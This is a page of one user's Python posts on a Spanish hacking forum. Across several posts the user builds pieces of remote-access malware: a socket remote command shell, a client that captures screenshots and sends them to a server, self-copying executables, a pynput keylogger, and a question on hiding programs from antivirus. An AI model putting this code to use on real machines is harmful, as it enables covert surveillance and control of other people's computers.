elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 2 [3] 4
21  Programación / Scripting / Re: hacer que mi .exe hecho con python sepa su propia ubicación en: 30 Noviembre 2022, 15:52 pm
Ya había encontrado otra forma, pero igual probé con os.getcwd() y funcionó con el detalle de que para que el script se copiara así mismo tuve que especificar al final de la ruta el nombre y extensión de mi archivo.

por ejemplo si mi archivo era Programa.py tenía que colocarlo así.

shutil.copyfile("C:\Users\Robin\Desktop\Cliente\Programa.py", "Otro directorio")


El problema está en que si se llegaba al cambiar el nombre del archivo daba un error obvio, lo que era un inconveniente para lo que estaba intentando hacer :-\

Mi solución fue utilizar sys.executable


import sys

shutil.copyfile(sys.executable, "Otro directorio")



sys.executable también devuelve un String con la ruta del archivo en ejecución, pero se encarga de incluir al final de la ruta el nombre y extensión de nuestro programa así que ya podía cambiar el nombre de mi .exe y este podía copiarse sin importar que nombre le pusiera. Creo que solo funciona cuando ya hemos compilado nuestro .py en un .exe, porque de otra forma lo que te retorna es la ruta del interprete de python.


Dejo la info. por si le sirve a alguien más.  ;-)
22  Programación / Scripting / hacer que mi .exe hecho con python sepa su propia ubicación en: 30 Noviembre 2022, 09:19 am
Hola, saben si hay alguna forma de que mi programa de python pueda extraer su propia ubicación en disco independientemente de donde se ejecute? para crear una copia de si mismo en otros directorios. Probé con __file__ pero lo que hace es buscar la ruta del .py en el que estoy escribiendo mi código y al momento de volver mi .py en un .exe da un error porque devuelve una ruta erronea, intenté también con os.environ["nombre.exe"] pero no termino de entender como funciona. ayuda :'0
23  Programación / Scripting / Python - dar formato a b"informacion" en: 15 Noviembre 2022, 23:59 pm
Hola, tengo una duda, estoy aprendiendo a utilizar sockets en python, y lo que estoy intentando es, que el cliente se conecte al programa servidor y desde el servidor yo poder ejecutar comandos en la computadora cliente y esta me devuelva los resultados


estoy usando la biblioteca subprocess para ejecutar el comando y almacenar el resultado en una variable pero luego de enviarla el servidor la recibe de esta manera:

Quiero saber como puedo darle formato para que me lo muestre correctamente, estoy intentando ejecutar el comando dir en windows







Codigo Cliente:

import socket
import subprocess


def ejecutar_comando(command):
   return subprocess.check_output(command, shell=True)


HOST = 'localhost'
PORT = 6123

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((HOST,PORT))

while True:
   command = cliente.recv(1024)
   command = command.decode('utf-8')
   resultados_comando = ejecutar_comando(command)
   cliente.send(resultados_comando)

cliente.close()



Código Servidor:

import socket


HOST = 'localhost'
PORT = 6123

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()

print("Esperando conexiones...")

conn, addr = server.accept()

print("Conexión establecida con" + str(addr))

while True:
   command = input("Shell<<<:")
   conn.send(command.encode('utf-8'))
   resultado_comando = conn.recv(1024)
   print(resultado_comando)

conn.close()





24  Programación / Scripting / Duda, instrucción shutdown() - sockets python en: 4 Julio 2021, 19:16 pm
Estuve creando un cliente y servidor, el código que estoy dejando es el del cliente, que se conecta a al servidor y luego se queda a la escucha de una orden, la única a la que responde ahora mismo es a la de tomar un screenshot y enviarla hacia al servidor, al principio el servidor nunca dejaba de recibir información por lo que se quedaba trabado, luego investigando descubrí la instrucción shutdown() que le indicaba al servidor que ya no estaba recibiendo información así podía recibir la imagen e ingresar otra orden. Mi problema es que s.shutdown(socket.SHUT_WR) lo que hace es cerrar uno de los lados de la conexión impidiéndole al cliente enviar información a través del socket así que cuando nuevamente doy la orden de tomar un screenshot el cliente la recibe pero no puede enviar la imagen, saben alguna solución o una forma de "reabrir" el socket para nuevamente enviar información hacia al servidor?

Código:

import socket
import pyscreenshot




HOST = 'localhost'
PORT = 4444

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

print('Conexión establecida')

while True:
orden = s.recv(1024)

if orden == b'screenshot':
#tomo un pantallazo y lo guardo en formato png

img = pyscreenshot.grab()
img.save("captura.png")

#abro la imagen en modo lectura binaria para enviarla

f = open("captura.png", "rb")
imagen = f.read()

while imagen:
s.send(imagen)
imagen = f.read()

# se termina el envio de la imagen

print("Imagen enviada")
s.shutdown(socket.SHUT_WR)
f.close()
del(f)



Dejo también el código del servidor, por si sirve de algo

Código:
import socket
import datetime

fechayhora = datetime.datetime.now().strftime('%Y-%m-%d %H-%M-%S')



HOST = 'localhost'
PORT = 4444

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen()

print('Servidor a la escucha...')

conn, addr = socket.accept()

print('Conexión entrante de ' + str(addr))

with conn:

while True:
orden = input('Ingresa una orden: ')
orden = orden.lower()

if orden == 'screenshot':
conn.send(b'screenshot')

#recibo la imagen enviada desde el cliente
f = open('capturas\\screenshot_' + str(fechayhora) + '.png', 'wb')
imagen = conn.recv(1024)

while imagen:

f.write(imagen)
imagen = conn.recv(1024)


f.close()
print('Imagen recibida')


elif orden == 'salir':
quit()
25  Seguridad Informática / Hacking / Cómo ocultar malware? en: 4 Julio 2021, 08:01 am
Como puedo ocultar programas ante un antivirus? puede que sea cuestión de ingenio, pero supongo que también habrá algunos conocimientos base de los cuales partir, que me recomendarían estudiar o investigar? No sé por donde empezar   :-\
26  Programación / Scripting / Re: Duda sobre la utilidad de los sockets en: 30 Junio 2021, 01:34 am
Muchísimas gracias a ambos por sus respuestas, estuve esperando, ahora ya sé en que debo enfocarme
27  Programación / Scripting / Duda sobre la utilidad de los sockets en: 26 Junio 2021, 07:18 am
Estuve leyendo sobre sockets, y lo que pude entender es que sirven para crear un enlace entre una aplicación cliente y otra servidor, pongamos como ejemplo que yo creo un programa con python que tiene como función tomar screenshots, pero no quiero que lo haga de forma periódica sino por una orden en un panel de control desde otra computadora, el aprender sobre sockets me ayudaría a crear una aplicación así o estoy equivocado? :P
28  Programación / Scripting / Re: Problema al convertir un script en ejecutable en: 26 Junio 2021, 04:21 am
Si se trata de algún problema relacionado con el pyinstaller lo más sencillo sería buscar una alternativa como por ejemplo "cx_Freeze", Esa opción te permite generar ejecutables aunque utilices librerías de terceros cosa que no puedes hacer con pyinstaller, según yo.

Saludos!  ;-)
29  Programación / Scripting / Quitar comillas de un string - python en: 23 Junio 2021, 19:13 pm
Hola, estuve intentando hacer un keylogger utilizando pynput, y funciona perfectamente, la cosa es que tengo pensado que las pulsaciones se guarden en un archivo externo, pero no he podido retirar las comillas de las teclas que registra el Keylogger.

Código:

from pynput import keyboard

def on_press(key):
key = str(key)
key.replace("'", "")
print(key)



with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()

creí saber como se hacía, siempre utilizo replace() pero esta vez las teclas que presiono siguen imprimiéndose en consola con las comillas y también se guardan así cuando intento ponerlas en un archivo externo, saben a que se puede deber? O conocen otra forma para retirar las comillas?  :P
30  Programación / Scripting / Re: Error de selenium - Python en: 17 Junio 2021, 22:13 pm
Muchos lenguajes utilizan el carácter '\' como un carácter de 'escape', cuando es así, y  el string contiene como parte del string ese mismo carácter, debe remplazarse por doble barra '\\' entonces al hacer el parsing del string se reconocen si forman pares contínuos como el propio carácter y 1 solo contínuo como el carácter de escape y podrá procesar el string correctamente.

Esa regla se aplica también a las cadenas que van entre comillas simples o dobles:
'casa's del monte' tendría que escribirse como 'casas''del monte'.
"caso del "monte"", tendría que escribirse como: "caso del ""monte""".

Hay que conocer al detalle la especificación del lenguaje para reconocer cuando se espera. Es frecuente que aún cuando un lenguaje no lo utilice expresamente, sí lo requiera alguna extensión/librería a la que se invoca desde el propio lenguaje usado, en cuyo caso la documentación de dicha extensión/librería lo explicará explícitamente.

Decidí mover el chromedriver al mismo directorio del archivo .py que estoy ejecutando, así podría podría especificar esa ruta sin la necesidad de "/" o "\"  ya que tal vez no se utilizar esos caracteres como es debido, el código quedaría resumido a:


Código:
from selenium import webdriver 

driver = webdriver.Chrome('chromedriver.exe')
driver.get('https://www.google.com/')


Sigue apareciendo el mismo error, estoy utilizando la versión de python 3.8.8  y la de chromedriver 91.0.4472.101

Páginas: 1 2 [3] 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines